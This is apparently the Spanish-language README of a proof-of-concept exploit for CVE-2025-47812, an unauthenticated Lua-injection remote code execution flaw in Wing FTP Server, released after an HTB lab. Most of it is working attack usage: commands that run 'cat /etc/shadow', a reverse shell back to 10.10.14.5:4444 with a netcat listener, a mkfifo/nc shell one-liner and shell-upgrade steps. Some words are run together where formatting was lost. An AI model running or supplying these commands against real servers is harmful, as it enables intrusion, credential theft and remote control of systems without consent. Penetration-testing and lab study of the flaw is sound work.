
PoC de CVE-2025-47812 para wingdata HTB
Exploit en Python para la RCE por inyección Lua no autenticada en Wing FTP Server ≤ 7.4.3. Diseñado para entrega de shell — un comando desde check hasta un callback netcat funcional.
Escrito hace tiempo para el laboratorio wingData en HTB y ahora liberado como código abierto. Úsalo solo contra sistemas que poseas o tengas permiso por escrito para probar.
La función c_CheckUser() de Wing FTP trunca el username en el primer byte NULL para la autenticación, pero la ruta de creación de sesión escribe el nombre de usuario completo sin sanitizar en un archivo de sesión Lua. Inyecta anonymous%00]]<lua>-- y el servidor escribe felizmente tu Lua en la sesión. Al acceder a cualquier endpoint autenticado ( funciona) se carga ese archivo de sesión mediante → , ejecutando el código inyectado como / .
dir.htmlloadfile()f()rootSYSTEMAfectado: Wing FTP Server ≤ 7.4.3. Corregido en 7.4.4.
pip install requests
Eso es todo — sin otras dependencias.
# 1. Confirma que el objetivo es vulnerable (ejecuta `id` y verifica `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. Comando único — captura stdout Y stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Reverse shell (el camino fácil)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Payload arbitrario desacoplado — lanza y olvida. Útil cuando falta bash:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
| Flag | Default | Propósito |
|---|---|---|
-u, --url | requerido | URL base del objetivo — Wing FTP suele escuchar en :5466 (HTTP) o :5467 (HTTPS). |
-U, --username | anonymous | Nombre de usuario antes del byte NULL. Anonymous funciona en instalaciones por defecto. |
-P, --password | vacío | Contraseña para el POST de inyección. Vacía está bien para anonymous. |
-v, --verbose | desactivado | Muestra el payload Lua, las URLs visitadas y el cuerpo de respuesta crudo. |
http://target:5466/login.html en un navegador antes de asumir que la URL es incorrecta.shell no logra un callback, recurre a detached con el payload mkfifo anterior. Algunas imágenes mínimas de Linux no incluyen bash.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
Solo para uso educativo y pruebas de seguridad autorizadas. Eres responsable de los objetivos a los que apuntes con esto.
MIT — consulta LICENSE.